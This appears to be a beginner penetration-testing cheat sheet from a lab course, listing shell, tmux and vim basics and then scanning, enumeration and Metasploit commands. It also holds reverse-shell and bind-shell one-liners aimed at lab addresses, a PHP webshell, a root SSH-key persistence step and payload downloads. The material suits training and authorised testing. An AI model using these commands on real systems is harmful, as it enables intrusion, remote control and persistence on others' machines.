Getting Started

Information security (infosec) is a vast field. The field has grown and evolved greatly in the last few years. It offers many specializations, including but not limited to:

• Network and infrastructure security

• Application security

• Security testing

• Systems auditing

• Business continuity planning

• Digital forensics

• Incident detection and response

Basic Tools

Command	Description
General
sudo openvpn user.ovpn	Connect to VPN
ifconfig/ip a	Show our IP address
netstat -rn	Show networks accessible via the VPN
ssh user@10.10.10.10	SSH to a remote server
ftp 10.129.42.253	FTP to a remote server
tmux
tmux	Start tmux
ctrl+b	tmux: default prefix
prefix c	tmux: new window
prefix 1	tmux: switch to window (1)
prefix shift+%	tmux: split pane vertically
prefix shift+"	tmux: split pane horizontally
prefix ->	tmux: switch to the right pane
Vim
vim file	vim: open file with vim
esc+i	vim: enter insert mode
esc	vim: back to normal mode
x	vim: Cut character
dw	vim: Cut word
dd	vim: Cut full line
yw	vim: Copy word
yy	vim: Copy full line
p	vim: Paste
:1	vim: Go to line number 1.
:w	vim: Write the file 'i.e. save'
:q	vim: Quit
:q!	vim: Quit without saving
:wq	vim: Write and quit

Pentesting

Command	Description
Service Scanning
nmap 10.129.42.253	Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253	Run an nmap script scan on an IP
locate scripts/citrix	List various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40	Run an nmap script on an IP
netcat 10.10.10.10 22	Grab banner of an open port
smbclient -N -L \\\\10.129.42.253	List SMB Shares
smbclient \\\\10.129.42.253\\users	Connect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0	Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254	Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt	Run a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt	Run a sub-domain scan on a website
curl -IL https://www.inlanefreight.com	Grab website banner
whatweb 10.10.10.121	List details about the webserver/certificates
curl 10.10.10.121/robots.txt	List potential directories in robots.txt
ctrl+U	View page source (in Firefox)
Public Exploits
searchsploit openssh 7.2	Search for public exploits for a web application
msfconsole	MSF: Start the Metasploit Framework
search exploit eternalblue	MSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec	MSF: Start using an MSF module
show options	MSF: Show required options for an MSF module
set RHOSTS 10.10.10.40	MSF: Set a value for an MSF module option
check	MSF: Test if the target server is vulnerable
exploit	MSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234	Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'	Send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f	Another command to send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f	Start a bind shell on the remote server
nc 10.10.10.1 1234	Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")'	Upgrade shell TTY (1)
ctrl+z then stty raw -echo then fg then enter twice	Upgrade shell TTY (2)
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php	Create a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=id	Execute a command on an uploaded webshell
Privilege Escalation
./linpeas.sh	Run linpeas script to enumerate remote server
sudo -l	List available sudo privileges
sudo -u user /bin/echo Hello World!	Run a command with sudo
sudo su -	Switch to root user (if we have access to sudo su)
sudo su user -	Switch to a user (if we have access to sudo su)
ssh-keygen -f key	Create a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys	Add the generated public key to the user
ssh root@10.10.10.10 -i key	SSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000	Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh	Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh	Download a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.sh	Transfer a file to the remote server with scp (requires SSH access)
base64 shell -w 0	Convert a file to base64
echo f0VMR...SNIO...InmDwU | base64 -d > shell	Convert a file from base64 back to its orig
md5sum shell	Check the file's md5sum to ensure it converted correctly